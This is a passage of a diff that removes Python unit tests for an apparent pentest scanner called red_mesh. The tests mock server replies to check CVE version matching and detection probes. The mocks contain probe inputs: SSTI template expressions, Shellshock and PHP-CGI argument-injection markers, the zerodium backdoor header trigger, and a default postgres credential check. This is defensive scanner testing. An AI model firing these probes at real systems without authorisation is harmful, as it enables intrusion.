- resp.text = '' - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - side_effect=fake_get, - ): - result = worker._web_test_cms_fingerprint("example.com", 80) - findings = result.get("findings", []) - plugin_findings = [f for f in findings if "plugin" in f.get("title", "").lower()] - self.assertEqual(len(plugin_findings), 0) - - -class TestDetectionGapFixes(unittest.TestCase): - """Tests for detection gap fixes: Erlang SSH, BIND CVEs, DNS AXFR, SMTP HELP.""" - - def setUp(self): - if MANUAL_RUN: - print() - color_print(f"[MANUAL] >>> Starting <{self._testMethodName}>", color='b') - - def tearDown(self): - if MANUAL_RUN: - color_print(f"[MANUAL] <<< Finished <{self._testMethodName}>", color='b') - - def _build_worker(self, ports=None): - if ports is None: - ports = [22] - owner = DummyOwner() - worker = PentestLocalWorker( - owner=owner, - target="example.com", - job_id="job-gaps", - initiator="init@example", - local_id_prefix="1", - worker_target_ports=ports, - ) - worker.stop_event = MagicMock() - worker.stop_event.is_set.return_value = False - return owner, worker - - # ── Erlang SSH detection ────────────────────────────────────────── - - def test_erlang_ssh_banner_detection(self): - """SSH probe should identify Erlang SSH from banner.""" - _, worker = self._build_worker() - lib, ver = worker._ssh_identify_library("SSH-2.0-Erlang/5.2.1") - self.assertEqual(lib, "erlang_ssh") - self.assertEqual(ver, "5.2.1") - - def test_erlang_ssh_banner_otp_prefix(self): - """SSH probe should handle Erlang/OTP prefix in banner.""" - _, worker = self._build_worker() - lib, ver = worker._ssh_identify_library("SSH-2.0-Erlang/OTP 5.1.4") - self.assertEqual(lib, "erlang_ssh") - self.assertEqual(ver, "5.1.4") - - def test_erlang_ssh_cve_2025_32433(self): - """CVE-2025-32433 should match Erlang SSH < 5.2.2.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("erlang_ssh", "5.2.1") - cve_ids = [f.title for f in findings] - self.assertTrue(any("CVE-2025-32433" in t for t in cve_ids)) - - def test_erlang_ssh_cve_patched(self): - """CVE-2025-32433 should NOT match patched Erlang SSH >= 5.2.2.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("erlang_ssh", "5.2.2") - cve_ids = [f.title for f in findings] - self.assertFalse(any("CVE-2025-32433" in t for t in cve_ids)) - - # ── BIND CVE detection ─────────────────────────────────────────── - - def test_bind_cve_ancient_version(self): - """BIND 9.10.3 should match multiple CVEs.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("bind", "9.10.3") - self.assertTrue(len(findings) >= 5, f"Expected >=5 CVEs for BIND 9.10.3, got {len(findings)}") - - def test_bind_cve_2016_2776(self): - """CVE-2016-2776 should match BIND < 9.10.4.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("bind", "9.10.3") - self.assertTrue(any("CVE-2016-2776" in f.title for f in findings)) - - def test_bind_cve_modern_patched(self): - """Modern BIND 9.20.x should not match any CVEs.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("bind", "9.20.0") - self.assertEqual(len(findings), 0) - - # ── DNS AXFR zone discovery ────────────────────────────────────── - - def test_dns_zone_discovery_soa_authoritative(self): - """Zone discovery should detect authoritative zones via SOA query.""" - _, worker = self._build_worker() - # Mock socket to return authoritative SOA response for vulhub.org - tid = 0 - def fake_socket_factory(family, typ): - sock = MagicMock() - def fake_sendto(data, addr): - nonlocal tid - tid = struct.unpack('>H', data[:2])[0] - sock.sendto = fake_sendto - # Build authoritative response: QR=1, AA=1, RCODE=0, ANCOUNT=1 - def fake_recvfrom(size): - flags = (1 << 15) | (1 << 10) # QR=1, AA=1 - resp = struct.pack('>HHHHHH', tid, flags, 0, 1, 0, 0) - return resp, ("1.2.3.4", 53) - sock.recvfrom = fake_recvfrom - return sock - with patch("extensions.business.cybersec.red_mesh.service_mixin.socket.socket", side_effect=fake_socket_factory): - with patch("socket.gethostbyaddr", side_effect=Exception("no reverse")): - zones = worker._dns_discover_zones("1.2.3.4", 53) - # vulhub.org should be in the list (discovered as authoritative or as fallback) - self.assertIn("vulhub.org", zones) - - def test_dns_zone_discovery_always_includes_fallbacks(self): - """Zone discovery should include fallback domains even when reverse DNS works.""" - _, worker = self._build_worker() - with patch("extensions.business.cybersec.red_mesh.service_mixin.socket.socket") as mock_sock: - mock_inst = MagicMock() - mock_inst.recvfrom.side_effect = Exception("timeout") - mock_sock.return_value = mock_inst - with patch("socket.gethostbyaddr", return_value=("host.internal.gcp", [], ["10.0.0.1"])): - zones = worker._dns_discover_zones("10.0.0.1", 53) - # Should include both reverse-DNS derived domains AND fallbacks - self.assertIn("vulhub.org", zones) - self.assertIn("example.com", zones) - self.assertTrue(any("gcp" in d or "internal" in d for d in zones)) - - # ── DNS BIND CVE in probe ──────────────────────────────────────── - - def test_dns_probe_triggers_bind_cves(self): - """DNS probe should produce BIND CVE findings when version.bind reveals old BIND.""" - _, worker = self._build_worker(ports=[53]) - worker.state["scan_metadata"] = {} - version_txt = b"9.10.3-P4-Debian" - qname = b'\x07version\x04bind\x00' - - # Capture tid from the probe's sendto call and build matching response - captured = {} - def fake_sendto(data, addr): - captured["tid"] = struct.unpack('>H', data[:2])[0] - def fake_recvfrom(size): - tid = captured["tid"] - header = struct.pack('>HHHHHH', tid, 0x8400, 1, 1, 0, 0) - question_section = qname + struct.pack('>HH', 16, 3) - answer = b'\xc0\x0c' + struct.pack('>HH', 16, 3) + struct.pack('>I', 0) - answer += struct.pack('>H', len(version_txt) + 1) + bytes([len(version_txt)]) + version_txt - return header + question_section + answer, ("1.2.3.4", 53) - - with patch("extensions.business.cybersec.red_mesh.service_mixin.socket.socket") as mock_sock: - mock_inst = MagicMock() - mock_inst.sendto = fake_sendto - mock_inst.recvfrom = fake_recvfrom - mock_sock.return_value = mock_inst - with patch.object(worker, "_dns_test_axfr", return_value=[]): - with patch.object(worker, "_dns_test_open_resolver", return_value=None): - result = worker._service_info_dns("1.2.3.4", 53) - findings = result.get("findings", []) - cve_titles = [f["title"] for f in findings if "CVE-" in f.get("title", "")] - self.assertTrue(len(cve_titles) >= 3, f"Expected >=3 BIND CVEs, got {len(cve_titles)}: {cve_titles}") - - # ── SMTP HELP version fallback ─────────────────────────────────── - - def test_smtp_help_extracts_version(self): - """SMTP probe should try HELP command when banner lacks version.""" - _, worker = self._build_worker(ports=[25]) - worker.state["scan_metadata"] = {} - - mock_smtp = MagicMock() - mock_smtp.connect.return_value = (220, b"host ESMTP OpenSMTPD") - mock_smtp.ehlo.return_value = (250, b"host Hello\nSIZE 36700160") - mock_smtp.docmd.side_effect = [ - # HELP command returns version - (214, b"OpenSMTPD 6.6.1p1"), - # STARTTLS - (502, b"Not supported"), - # MAIL FROM - (250, b"Ok"), - # RCPT TO - (550, b"Relay denied"), - # VRFY - (252, b"root"), - # EXPN - (502, b"Not supported"), - ] - mock_smtp.rset.return_value = (250, b"Ok") - - with patch("smtplib.SMTP", return_value=mock_smtp): - result = worker._service_info_smtp("1.2.3.4", 25) - - findings = result.get("findings", []) - cve_titles = [f["title"] for f in findings if "CVE-" in f.get("title", "")] - self.assertTrue( - any("CVE-2020-7247" in t for t in cve_titles), - f"Should detect CVE-2020-7247 via HELP version. CVEs found: {cve_titles}" - ) - - -class TestBatch2GapFixes(unittest.TestCase): - """Tests for batch 2 gaps: MySQL CVE-2016-6662, PG MD5 creds, CouchDB, InfluxDB.""" - - def setUp(self): - if MANUAL_RUN: - print() - color_print(f"[MANUAL] >>> Starting <{self._testMethodName}>", color='b') - - def _build_worker(self, ports=None): - if ports is None: - ports = [80] - owner = DummyOwner() - worker = PentestLocalWorker( - owner=owner, - target="example.com", - job_id="job-batch2", - initiator="init@example", - local_id_prefix="1", - worker_target_ports=ports, - ) - worker.stop_event = MagicMock() - worker.stop_event.is_set.return_value = False - return owner, worker - - # ── MySQL CVE-2016-6662 fix ────────────────────────────────────── - - def test_mysql_cve_2016_6662_on_55(self): - """CVE-2016-6662 should match MySQL 5.5.23.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("mysql", "5.5.23") - self.assertTrue(any("CVE-2016-6662" in f.title for f in findings)) - - def test_mysql_cve_2016_6662_on_56(self): - """CVE-2016-6662 should match MySQL 5.6.30.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("mysql", "5.6.30") - self.assertTrue(any("CVE-2016-6662" in f.title for f in findings)) - - def test_mysql_cve_2016_6662_on_57(self): - """CVE-2016-6662 should match MySQL 5.7.14.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("mysql", "5.7.14") - self.assertTrue(any("CVE-2016-6662" in f.title for f in findings)) - - def test_mysql_cve_2016_6662_patched(self): - """CVE-2016-6662 should NOT match MySQL 5.7.15.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("mysql", "5.7.15") - self.assertFalse(any("CVE-2016-6662" in f.title for f in findings)) - - # ── PostgreSQL MD5 credential testing ──────────────────────────── - - def test_pg_creds_handles_md5_auth(self): - """PG creds probe should authenticate via MD5 and extract version.""" - _, worker = self._build_worker(ports=[5432]) - worker.state["scan_metadata"] = {} - - # MD5 auth request: R + len(12) + auth_code(5) + salt(4 bytes) - md5_request = b'R' + struct.pack('!I', 12) + struct.pack('!I', 5) + b'\xab\xcd\xef\x01' - # Auth OK + ParameterStatus with server_version - auth_ok = b'R' + struct.pack('!I', 8) + struct.pack('!I', 0) - version_param = b'server_version\x0010.7\x00' - param_msg = b'S' + struct.pack('!I', 4 + len(version_param)) + version_param - ready = b'Z' + struct.pack('!I', 5) + b'I' - auth_response = auth_ok + param_msg + ready - - call_count = [0] - def fake_recv(size): - call_count[0] += 1 - if call_count[0] == 1: - return md5_request - return auth_response - - with patch("extensions.business.cybersec.red_mesh.service_mixin.socket.socket") as mock_sock: - mock_inst = MagicMock() - mock_inst.recv = fake_recv - mock_sock.return_value = mock_inst - result = worker._service_info_postgresql_creds("1.2.3.4", 5432) - - findings = result.get("findings", []) - # Should find credential accepted - cred_findings = [f for f in findings if "credential accepted" in f.get("title", "").lower()] - self.assertTrue(len(cred_findings) > 0, f"Should accept postgres:postgres via MD5. Findings: {[f['title'] for f in findings]}") - # Should extract version and find CVEs - ver_findings = [f for f in findings if "version disclosed" in f.get("title", "").lower()] - self.assertTrue(len(ver_findings) > 0, "Should extract PG version after auth") - cve_findings = [f for f in findings if "CVE-" in f.get("title", "")] - self.assertTrue(len(cve_findings) > 0, f"Should find PG CVEs for 10.7. Found: {[f['title'] for f in findings]}") - - # ── CouchDB probe ──────────────────────────────────────────────── - - def test_couchdb_probe_detects_version_and_dbs(self): - """CouchDB probe should extract version, list dbs, detect admin panel.""" - _, worker = self._build_worker(ports=[5984]) - worker.state["scan_metadata"] = {} - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - if url.endswith(":5984"): - resp.json.return_value = {"couchdb": "Welcome", "version": "3.2.1"} - resp.text = '{"couchdb": "Welcome", "version": "3.2.1"}' - elif "/_all_dbs" in url: - resp.json.return_value = ["_replicator", "_users", "mydata"] - resp.text = '["_replicator", "_users", "mydata"]' - elif "/_utils" in url: - resp.text = 'Fauxton' - elif "/_node/_local/_config" in url: - resp.text = '{"httpd": {"bind_address": "0.0.0.0"}}' - else: - resp.ok = False - resp.status_code = 404 - return resp - - with patch( - "extensions.business.cybersec.red_mesh.service_mixin.requests.get", - side_effect=fake_get, - ): - result = worker._service_info_couchdb("1.2.3.4", 5984) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("3.2.1" in t for t in titles), "Should detect CouchDB version") - self.assertTrue(any("CVE-2022-24706" in t for t in titles), "Should detect Erlang cookie CVE") - self.assertTrue(any("database listing" in t.lower() for t in titles), "Should detect unauth db listing") - self.assertTrue(any("Fauxton" in t or "admin panel" in t.lower() for t in titles), "Should detect admin panel") - self.assertTrue(any("configuration exposed" in t.lower() for t in titles), "Should detect config exposure") - - def test_couchdb_probe_skips_non_couchdb(self): - """CouchDB probe should return None for non-CouchDB HTTP services.""" - _, worker = self._build_worker() - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.json.return_value = {"status": "ok"} - resp.text = '{"status": "ok"}' - return resp - - with patch("extensions.business.cybersec.red_mesh.service_mixin.requests.get", side_effect=fake_get): - result = worker._service_info_couchdb("1.2.3.4", 80) - self.assertIsNone(result) - - # ── InfluxDB probe ─────────────────────────────────────────────── - - def test_influxdb_probe_detects_version_and_unauth(self): - """InfluxDB probe should detect version and unauthenticated access.""" - _, worker = self._build_worker(ports=[8086]) - worker.state["scan_metadata"] = {} - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 204 - resp.headers = {} - resp.text = "" - if "/ping" in url: - resp.headers["X-Influxdb-Version"] = "1.6.6" - elif "/query" in url: - resp.status_code = 200 - resp.ok = True - resp.json.return_value = { - "results": [{"series": [{"values": [["_internal"], ["telegraf"]]}]}] - } - elif "/debug/vars" in url: - resp.status_code = 200 - resp.text = '{"memstats": {"Alloc": 12345}}' - return resp - - with patch("extensions.business.cybersec.red_mesh.service_mixin.requests.get", side_effect=fake_get): - result = worker._service_info_influxdb("1.2.3.4", 8086) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("1.6.6" in t for t in titles), "Should detect InfluxDB version") - self.assertTrue(any("CVE-2019-20933" in t for t in titles), "Should detect JWT bypass CVE") - self.assertTrue(any("unauthenticated" in t.lower() for t in titles), "Should detect unauth access") - self.assertTrue(any("debug" in t.lower() for t in titles), "Should detect debug endpoint") - - def test_influxdb_probe_skips_non_influxdb(self): - """InfluxDB probe should return None for non-InfluxDB services.""" - _, worker = self._build_worker() - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.headers = {} - return resp - - with patch("extensions.business.cybersec.red_mesh.service_mixin.requests.get", side_effect=fake_get): - result = worker._service_info_influxdb("1.2.3.4", 80) - self.assertIsNone(result) - - # ── CouchDB / InfluxDB CVE matching ────────────────────────────── - - def test_couchdb_cve_2022_24706(self): - """CVE-2022-24706 should match CouchDB < 3.2.2.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - self.assertTrue(any("CVE-2022-24706" in f.title for f in check_cves("couchdb", "3.2.1"))) - self.assertFalse(any("CVE-2022-24706" in f.title for f in check_cves("couchdb", "3.2.2"))) - - def test_influxdb_cve_2019_20933(self): - """CVE-2019-20933 should match InfluxDB < 1.7.6.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - self.assertTrue(any("CVE-2019-20933" in f.title for f in check_cves("influxdb", "1.6.6"))) - self.assertFalse(any("CVE-2019-20933" in f.title for f in check_cves("influxdb", "1.7.6"))) - - -class TestBatch3GapFixes(unittest.TestCase): - """Tests for batch 3 gaps: CMS CVEs, SSTI, Shellshock, PHP CGI, dedup bug.""" - - def setUp(self): - if MANUAL_RUN: - print() - color_print(f"[MANUAL] >>> Starting <{self._testMethodName}>", color='b') - - def _build_worker(self, ports=None): - if ports is None: - ports = [80] - owner = DummyOwner() - worker = PentestLocalWorker( - owner=owner, - target="example.com", - job_id="job-batch3", - initiator="init@example", - local_id_prefix="1", - worker_target_ports=ports, - ) - worker.stop_event = MagicMock() - worker.stop_event.is_set.return_value = False - return owner, worker - - # ── CVE database: Drupal ─────────────────────────────────────────── - - def test_drupal_cve_2018_7600_match(self): - """CVE-2018-7600 should match Drupal 8.5.0.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("drupal", "8.5.0") - self.assertTrue(any("CVE-2018-7600" in f.title for f in findings)) - - def test_drupal_cve_2018_7600_patched(self): - """CVE-2018-7600 should NOT match Drupal 8.5.1.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("drupal", "8.5.1") - self.assertFalse(any("CVE-2018-7600" in f.title for f in findings)) - - def test_drupal_cve_2018_7602_match(self): - """CVE-2018-7602 should match Drupal 8.5.0.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("drupal", "8.5.0") - self.assertTrue(any("CVE-2018-7602" in f.title for f in findings)) - - def test_drupal_cve_2014_3704_match(self): - """CVE-2014-3704 should match Drupal 7.31.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("drupal", "7.31") - self.assertTrue(any("CVE-2014-3704" in f.title for f in findings)) - - # ── CVE database: WordPress ──────────────────────────────────────── - - def test_wordpress_cve_2016_10033_match(self): - """CVE-2016-10033 should match WordPress 4.6.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("wordpress", "4.6") - self.assertTrue(any("CVE-2016-10033" in f.title for f in findings)) - - def test_wordpress_cve_2016_10033_patched(self): - """CVE-2016-10033 should NOT match WordPress 4.7.1.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("wordpress", "4.7.1") - self.assertFalse(any("CVE-2016-10033" in f.title for f in findings)) - - def test_wordpress_cve_2017_8295_match(self): - """CVE-2017-8295 should match WordPress 4.6.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("wordpress", "4.6") - self.assertTrue(any("CVE-2017-8295" in f.title for f in findings)) - - # ── CVE database: Joomla, Django, Laravel ────────────────────────── - - def test_joomla_cve_2023_23752_match(self): - """CVE-2023-23752 should match Joomla 4.2.7.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("joomla", "4.2.7") - self.assertTrue(any("CVE-2023-23752" in f.title for f in findings)) - - def test_joomla_cve_2023_23752_patched(self): - """CVE-2023-23752 should NOT match Joomla 4.2.8.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("joomla", "4.2.8") - self.assertFalse(any("CVE-2023-23752" in f.title for f in findings)) - - def test_django_cve_2017_12794_match(self): - """CVE-2017-12794 should match Django 1.11.4.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("django", "1.11.4") - self.assertTrue(any("CVE-2017-12794" in f.title for f in findings)) - - def test_laravel_ignition_cve_2021_3129_match(self): - """CVE-2021-3129 should match laravel_ignition 2.5.1.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("laravel_ignition", "2.5.1") - self.assertTrue(any("CVE-2021-3129" in f.title for f in findings)) - - # ── Drupal version extraction probe ──────────────────────────────── - - def test_drupal_version_from_system_info_yml(self): - """Drupal probe should extract version from system.info.yml fallback.""" - _, worker = self._build_worker(ports=[4200]) - worker.state["scan_metadata"] = {} - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - resp.text = "" - if url.endswith(":4200"): - # Generator tag with major-only version - resp.text = '' - elif "/core/CHANGELOG.txt" in url: - resp.ok = False - resp.status_code = 403 - elif "/core/modules/system/system.info.yml" in url: - resp.text = "name: System\ntype: module\nversion: '8.5.0'\ncore: 8.x" - else: - resp.ok = False - resp.status_code = 404 - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - side_effect=fake_get, - ): - result = worker._web_test_cms_fingerprint("1.2.3.4", 4200) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("8.5.0" in t for t in titles), f"Should extract Drupal 8.5.0. Got: {titles}") - self.assertTrue(any("CVE-2018-7600" in t for t in titles), f"Should find Drupalgeddon2. Got: {titles}") - - # ── WordPress version extraction probe ───────────────────────────── - - def test_wordpress_version_from_feed(self): - """WP probe should extract version from /feed/ generator tag.""" - _, worker = self._build_worker(ports=[4400]) - worker.state["scan_metadata"] = {} - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - resp.text = "" - if url.endswith(":4400"): - resp.text = '' - elif "/wp-login.php" in url: - resp.text = 'wp-login' - elif "/feed/" in url: - resp.text = 'https://wordpress.org/?v=4.6' - elif "/xmlrpc.php" in url: - resp.status_code = 200 - elif "/wp-json/wp/v2/users" in url: - resp.status_code = 200 - else: - resp.ok = False - resp.status_code = 404 - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - side_effect=fake_get, - ): - result = worker._web_test_cms_fingerprint("1.2.3.4", 4400) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("4.6" in t for t in titles), f"Should extract WP 4.6. Got: {titles}") - self.assertTrue(any("CVE-2016-10033" in t for t in titles), f"Should find PHPMailer RCE. Got: {titles}") - - # ── Laravel Ignition detection ───────────────────────────────────── - - def test_laravel_ignition_detected(self): - """Laravel probe should detect Ignition health check and execute-solution.""" - _, worker = self._build_worker(ports=[6300]) - worker.state["scan_metadata"] = {} - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = False - resp.status_code = 404 - resp.text = "" - resp.headers = {} - if url.endswith(":6300"): - # Homepage: no WP/Drupal markers - resp.ok = True - resp.status_code = 200 - resp.text = 'LaravelWelcome' - elif "/_ignition/health-check" in url: - resp.ok = True - resp.status_code = 200 - resp.text = '{"can_execute_commands":true}' - elif "/nonexistent_" in url: - resp.status_code = 404 - resp.text = 'Not Found' - # All other paths (wp-login, CHANGELOG, administrator) → 404 - return resp - - def fake_post(url, **kwargs): - resp = MagicMock() - resp.status_code = 500 - resp.text = '{"error":"..."}' - return resp - - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.post", side_effect=fake_post): - result = worker._web_test_cms_fingerprint("1.2.3.4", 6300) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("Ignition debug" in t for t in titles), f"Should detect Ignition. Got: {titles}") - self.assertTrue(any("CVE-2021-3129" in t for t in titles), f"Should detect CVE-2021-3129. Got: {titles}") - - # ── SSTI probe ───────────────────────────────────────────────────── - - def test_ssti_jinja2_detected(self): - """SSTI probe should detect Jinja2 template evaluation.""" - _, worker = self._build_worker(ports=[4700]) - from urllib.parse import unquote - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - decoded = unquote(url) - # Evaluate {{71*73}} → 5183, but don't echo the raw template back - if "name=" in decoded and "{{71*73}}" in decoded: - resp.text = 'Hello 5183!' - elif "name=" in decoded and "{{7*'7'}}" in decoded: - resp.text = 'Hello 7777777!' - else: - resp.text = 'Hello world' - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): - result = worker._web_test_ssti("1.2.3.4", 4700) - - findings = result.get("findings", []) - self.assertTrue(len(findings) > 0, f"Should detect SSTI. Got: {findings}") - self.assertEqual(findings[0]["severity"], "CRITICAL") - self.assertIn("SSTI", findings[0]["title"]) - - def test_ssti_no_false_positive_on_xss(self): - """SSTI probe should NOT fire when template literal is echoed back (XSS).""" - _, worker = self._build_worker(ports=[4700]) - from urllib.parse import unquote - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - decoded = unquote(url) - # Echo back the raw payload — this is XSS not SSTI - if "name=" in decoded and "{{71*73}}" in decoded: - resp.text = 'Hello {{71*73}}!' - elif "name=" in decoded and "{{7*'7'}}" in decoded: - resp.text = "Hello {{7*'7'}}!" - else: - resp.text = 'Hello world' - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): - result = worker._web_test_ssti("1.2.3.4", 4700) - - findings = result.get("findings", []) - self.assertEqual(len(findings), 0, f"Should NOT fire on XSS reflection. Got: {[f['title'] for f in findings]}") - - # ── Shellshock probe ─────────────────────────────────────────────── - - def test_shellshock_detected(self): - """Shellshock probe should detect CVE-2014-6271 via CGI marker echo.""" - _, worker = self._build_worker(ports=[6600]) - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - resp.text = "" - headers = kwargs.get("headers", {}) - if "/cgi-bin/" in url and "REDMESH_SHELLSHOCK_DETECT" in headers.get("User-Agent", ""): - resp.text = "\nREDMESH_SHELLSHOCK_DETECT\n" - else: - resp.status_code = 404 - resp.text = "Not Found" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): - result = worker._web_test_shellshock("1.2.3.4", 6600) - - findings = result.get("findings", []) - self.assertTrue(len(findings) > 0, "Should detect Shellshock") - self.assertEqual(findings[0]["severity"], "CRITICAL") - self.assertIn("CVE-2014-6271", findings[0]["title"]) - - def test_shellshock_no_match_on_non_cgi(self): - """Shellshock probe should not fire when no CGI endpoints respond.""" - _, worker = self._build_worker(ports=[80]) - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = False - resp.status_code = 404 - resp.text = "Not Found" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): - result = worker._web_test_shellshock("1.2.3.4", 80) - - findings = result.get("findings", []) - self.assertEqual(len(findings), 0) - - # ── PHP backdoor probe ───────────────────────────────────────────── - - def test_php_backdoor_detected(self): - """PHP probe should detect zerodium backdoor via User-Agentt header.""" - _, worker = self._build_worker(ports=[6700]) - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - headers = kwargs.get("headers", {}) - if "zerodium" in headers.get("User-Agentt", ""): - resp.text = "REDMESH_PHP_BACKDOOR\n" - else: - resp.text = "PHP page" - return resp - - def fake_post(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - resp.text = "PHP page" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): - result = worker._web_test_php_cgi("1.2.3.4", 6700) - - findings = result.get("findings", []) - self.assertTrue(len(findings) > 0, "Should detect PHP backdoor") - self.assertEqual(findings[0]["severity"], "CRITICAL") - self.assertIn("backdoor", findings[0]["title"].lower()) - - def test_php_cgi_arg_injection_detected(self): - """PHP probe should detect CVE-2024-4577 argument injection.""" - _, worker = self._build_worker(ports=[6700]) - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - resp.text = "Normal page" - return resp - - def fake_post(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - if "%AD" in url: - resp.text = "REDMESH_PHPCGI_TEST" - else: - resp.text = "Normal" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): - result = worker._web_test_php_cgi("1.2.3.4", 6700) - - findings = result.get("findings", []) - self.assertTrue(any("CVE-2024-4577" in f["title"] for f in findings), f"Should detect arg injection. Got: {[f['title'] for f in findings]}") - - # ── Drupal version from install.php (site-version span) ─────────── - - def test_drupal_version_from_install_php(self): - """Drupal probe should extract version from install.php site-version span.""" - _, worker = self._build_worker(ports=[4200]) - worker.state["scan_metadata"] = {} - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - resp.text = "" - if url.endswith(":4200"): - resp.text = '' - elif "/core/CHANGELOG.txt" in url: - resp.text = '' - resp.ok = False - resp.status_code = 302 - elif "/core/modules/system/system.info.yml" in url: - resp.ok = False - resp.status_code = 403 - resp.text = "Forbidden" - elif "/core/install.php" in url: - resp.text = '''8.5.0 - ''' - else: - resp.ok = False - resp.status_code = 404 - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - side_effect=fake_get, - ): - result = worker._web_test_cms_fingerprint("1.2.3.4", 4200) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("8.5.0" in t for t in titles), f"Should extract Drupal 8.5.0 from install.php. Got: {titles}") - self.assertTrue(any("CVE-2018-7600" in t for t in titles), f"Should find Drupalgeddon2. Got: {titles}") - - # ── WordPress version from readme.html ─────────────────────────── - - def test_wordpress_version_from_readme_html(self): - """WP probe should extract version from /readme.html when /feed/ is 404.""" - _, worker = self._build_worker(ports=[4400]) - worker.state["scan_metadata"] = {} - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - resp.text = "" - if url.endswith(":4400"): - resp.text = '' - elif "/wp-login.php" in url: - resp.text = 'wp-login' - elif "/feed/" in url: - resp.ok = False - resp.status_code = 404 - resp.text = "Not Found" - elif "/wp-links-opml.php" in url: - resp.ok = False - resp.status_code = 404 - resp.text = "Not Found" - elif "/readme.html" in url: - resp.text = '
Version 4.6\n

If you are updating from version 2.7' - elif "/xmlrpc.php" in url: - resp.status_code = 200 - elif "/wp-json/wp/v2/users" in url: - resp.status_code = 200 - else: - resp.ok = False - resp.status_code = 404 - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - side_effect=fake_get, - ): - result = worker._web_test_cms_fingerprint("1.2.3.4", 4400) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("4.6" in t for t in titles), f"Should extract WP 4.6 from readme.html. Got: {titles}") - self.assertTrue(any("CVE-2016-10033" in t for t in titles), f"Should find PHPMailer RCE. Got: {titles}") - - # ── SSTI baseline false positive prevention ────────────────────── - - def test_ssti_no_false_positive_on_baseline(self): - """SSTI probe should NOT fire when expected value already in baseline page.""" - _, worker = self._build_worker(ports=[4300]) - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - # Every response contains "5183" naturally (e.g. page content) - resp.text = '

Order #5183 confirmed

